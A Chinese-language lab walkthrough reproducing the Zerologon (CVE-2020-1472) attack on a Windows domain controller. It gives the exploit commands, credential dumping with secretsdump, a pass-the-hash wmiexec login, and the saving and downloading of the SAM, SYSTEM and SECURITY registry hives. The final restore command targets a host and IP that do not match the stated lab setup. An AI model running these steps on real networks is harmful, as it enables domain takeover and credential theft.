0x01 漏洞说明
CVE-2020-1472是继MS17010之后一个比较好用的内网提权漏洞,影响Windows Server 2008R 2至Windows Server 2019的多个版本系统,只要攻击者能访问到目标域控并且知道域控计算机名即可利用该漏洞.该漏洞不要求当前计算机在域内,也不要求当前计算机操作系统为windows,该漏洞的稳定利用方式为重置目标域控的密码, 然后利用城控凭证进行Dc sync获取域管权限后修复域控密码,之所以不直接使用坏控凭证远程执行命令,是因为城控账户是不可以登录的,但是域控具备Dc sync权限, 可以获取域内任意用户的凭证。
Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空
漏洞利用过程中会重置域控存储在域中(ntds.dit)的凭证,而域控存储在域中的凭证与本地的注册表/lsass中的凭证不一致时,会导致目标域控脱域,所以在重置完域控凭证后要尽快恢复。
0x02 利用过程
测试环境:
DC域控:
域名:WIN-ENS2VR5TR3N.demo.com
域:demo.com
ip:192.168.77.128
操作系统:Windows Server 2008
攻击机:
在域内/不在域内
ip:192.168.77.129(没要求,能访问到目标域控即可)
操作系统:Windows 7
影响版本:
Windows Server 2008 R2 for x64-based Systems
Service Pack 1Windows Server 2008 R2 for x64-based
Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
利用工具:
漏洞利用要结合五个脚本配合使用
分别为:
zerologon_tester.py #POC检测
cve-2020-1472-exploit.py #用于将目标域控的密码置空
secretsdump.py #用于获取域管hash
wmiexec.py #利用远程执行命令方法离线获取保存在注册表中的域控凭证
reinstall_original_pw.py #将dc密码恢复
下载地址:
https://github.com/mstxq17/cve-2020-1472
https://github.com/risksense/zerologon
安装:pip install -r requirements.txt
注意:在安装impacket时不要安装指定版本可能会报错,直接pip install impacket(这样安装的就是最新版本)
漏洞复现:
- 使用
zerologon_tester.py
来检测目标是否存在此漏洞
python3 zerologon_tester.py DC_主机名 DC_IP
- 使用cve-2020-1472-exploit.py将机器账户重置
python3 cve-2020-1472-exploit.py DC_主机名 DC_ip
- dump域管密码hash
./secretsdump.py -no-pass ./WIN-ENS2VR5TR3N$@192.168.77.128
注意:secretsdump.py
文件在C:/user/username/../programs/python3/scripts/
目录下
- 使用wmiexec连接拿到域控制器中的本地管理员权限(域管)
(当然wmiexec.py
也在scipts目录下)
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:80b9a02fb232cc21564b6bba13210425 ./administrator@192.168.77.128
然后依次执行,拷贝本机中SAM数据库到本地
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del system.save
del sam.save
del security.save
- 提取出DC账号的密码(如你所见,除此之外还有hex类型的加密,只需要解密一下即可获取明文)
secretsdump.py -sam sam.save -system system.save -security security.save local
- 使用工具https://github.com/risksense/zerologon 将dc密码恢复
reinstall_original_pw.py owa 192.168.52.138 4e88bf41aeb42e46e5e5ac561e97151b
可以看到信息完整恢复了。